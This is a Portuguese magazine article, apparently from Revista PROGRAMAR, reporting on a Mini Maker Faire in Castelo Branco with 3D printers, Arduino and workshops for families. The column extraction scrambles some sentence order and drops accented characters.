eleio, com orgulho que vos digo que este foi um evento sibilita a partilha de ideias e conhecimento acerca de tecnolo-
que decorreu com todo o sucesso esperado. A PROGRA- gia.
MAR como Media Partner do Evento, esteve no local, e pos-
Ser um maker, est ao alcance de qualquer um que
so dizer-vos que nesse dia, todos os caminhos iam ter Mini
se interesse pelo tema, sem limite de idade para aprender.
Maker Faire.
Alis foram vrias as famlias que se dirigiram ao evento,
sendo que midos e grados se encantaram com algumas
das criaes presentes na feira. Para permitir uma maior
aprendizagem, os workshops tambm no foram esquecidos
e vrios foram os participantes atentos.

Desde impressoras 3D, a jogos de Arcada, ao Arduino


e a pequenas actividades para crianas, o evento no desilu-
diu as espectativas, e julgamos que inspirou os mais peque-
Organizado pela AICB, a Associao de Informtica nos a explorar, a querer saber mais e lhes fomentou a imagi-
de Castelo Branco, este evento teve a participao de vrios nao do que poderiam criar.
makers e de mais de duas centenas de pessoas estiveram importante referir que no interior do nosso pas, nem
presentes. sempre existem muitas possibilidades deste tipo de partilha,
Para os leitores que no esto to familizarizados pelo que queremos deixar o nosso agradecimento e o nosso
com este tema, uma Mini Maker Faire uma feira onde o apoio organizao do evento pois so de facto os peque-
movimento Maker promovido. uma oportunidade dos nos gestos que fazem a diferena. Esperamos pela prxima
criadores e envolvidos mostrarem os seus projectos comu- edio!
nidade, onde demonstrada a criatividade e capacidade de

AUTOR
Escrito por Rita Peres

Natural de Castelo Branco, licenciou-se em Engenharia Informtica pela Universidade da Beira Interior.
Membro do P@P desde Janeiro de 2010. Embaixadora das Geek Girls Portugal Ncleo de Lisboa.

62
Veja tambm as edies anteriores da

54 Edio - Janeiro 2017 51 Edio - Dezemb ro 2015


Revista PROGRAMAR

e muito mais em
55 Edio - Maro 2017 52 Edio - Maro 2016
56 Edio - Maio 2017 53 Edio - Agosto 2016

S-ar putea să vă placă și